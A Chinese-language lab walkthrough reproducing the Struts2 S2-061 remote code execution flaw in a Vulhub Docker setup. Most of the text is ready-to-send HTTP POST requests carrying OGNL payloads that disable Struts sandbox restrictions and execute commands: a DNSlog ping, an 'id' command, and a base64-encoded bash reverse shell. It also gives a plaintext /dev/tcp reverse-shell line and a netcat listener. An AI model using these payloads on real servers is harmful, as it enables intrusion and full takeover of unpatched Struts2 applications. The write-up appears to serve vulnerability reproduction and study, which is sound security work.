一、环境
1、docker
2、Vulhub-master
3、Burpsuite、netcat
二、环境准备
1、开启docker
2、进入漏洞环境 cd /vulhub-master/struts2/s2-061
3、启动环境 docker-compose up -d
4、访问本地的8080即可，看到如下页面：
三、复现
1、测试漏洞是否存在
Payload:/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d，发现执行了（2021+20）的命令，通过F12工具查看执行成功：
2、DNSlog验证
POC如下：
POST /index.action HTTP/1.1
Host: x.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 848
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“ping xxxxxx.ceye.io”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF–
3、RCE
POC如下：
POST /index.action HTTP/1.1
Host: x.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“id”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF–
通过响应体可以看到命令执行成功，也可以通过F12查看：
4、反弹shell
Payload：bash -i >& /dev/tcp/192.168.1.6/21 0>&1
先对bash反弹命令进行编码
监听机执行：nc -lnvp 21
POC：
POST /index.action HTTP/1.1
Host: x.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xNTMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF–
用自己的payload来替换POC中的payload，通过burp来执行POC，然后观察监听机发现反弹成功，执行命令id返回root：
